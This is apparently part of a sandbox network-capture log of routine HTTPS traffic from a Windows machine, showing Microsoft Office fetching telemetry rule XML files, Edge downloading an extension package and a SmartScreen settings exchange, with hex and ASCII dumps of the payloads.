2024-11-11 18:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 63eb2845-501e-00a3-1dd5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185224Z-174f7845968vwdr7hC1EWRsh3w00000005ag000000006fnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:24 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:24 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: c8358df5-201e-005d-53d5-33afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185224Z-174f7845968c2t8dhC1EWR8s20000000050000000000ngqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:24 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49860	152.195.19.97	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	624	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731955938&P2=404&P3=2&P4=IhFeR4yDznl2Eozu1%2f%2ffU%2foi9h1kiI6H1mkSZ9nh1J8o6aBYo%2bmi0Q3g%2bS75DseTjn395wgCZ%2fC3oinyJJ8OBA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: OK+cgAiPWHslfBra5MeXgc Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:25 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 11277676 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Mon, 11 Nov 2024 18:52:25 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-11 18:52:25 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 22e15e04-b01e-0070-3ed5-331cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185225Z-174f78459685m244hC1EWRgp2c000000053000000000q0aq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:25 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: b80249cf-101e-0017-2bd5-3347c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185225Z-174f7845968qj8jrhC1EWRh41s000000056g00000000n3ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:25 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: bdd7469a-701e-0053-5fd5-333a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185225Z-174f7845968nnm4mhC1EWR1rn400000005c00000000027e3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:25 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 77d57460-901e-0083-6dd5-33bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185225Z-174f7845968vwdr7hC1EWRsh3w000000058g00000000dg3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 7cd113ea-e01e-0052-21d5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185225Z-174f7845968l4kp6hC1EWRe88400000005n0000000007xzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49868	13.91.96.185	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:25 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiV2hsR1Z3WlFJWG5yMkRlVldVZnJ1dz09IiwgImhhc2giOiI1bVQ3MlFMMlk4OD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-11 18:52:25 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-11 18:52:25 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:25 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-11 18:52:25 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-11 18:52:25 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-11 18:52:25 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-11 18:52:25 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
